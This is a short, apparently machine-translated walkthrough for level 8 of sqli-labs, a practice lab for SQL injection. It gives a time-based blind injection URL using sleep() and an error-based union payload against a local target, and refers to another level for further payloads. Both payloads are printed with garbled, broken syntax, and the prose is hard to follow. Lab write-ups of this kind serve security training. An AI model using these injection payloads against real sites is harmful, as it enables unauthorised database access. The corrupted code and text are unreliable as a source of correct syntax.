Sqli-labs less 8

Less-8

After a simple test, we found that ' or 1=1--+ return to normal, then we basically know how to use, refer to LESS5. Here's a simple example:

Http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If (ASCII (substr () (Database (),) =115,1,sleep (5))--+

The delay injected here, of course, we use a Boolean type of injection is also possible, then the fifth level what is the difference?

Eighth we can see directly from the source code

Here the MySQL Error statement is commented, then this error injection will not be.

Http://127.0.0.1/sqllib/Less-8/?id=1 ' Union Select 1,count (*), concat (0x3a,0x3a, (Select User ()), 0x3a,0x3a,floor ( RAND (0) *) A from Information_schema.columns group by a--+

If the error injection can be used, it can be returned directly to user (), but there is no return.

Other payload reference less5 are injected directly, this is not a demonstration.

Sqli-labs less 8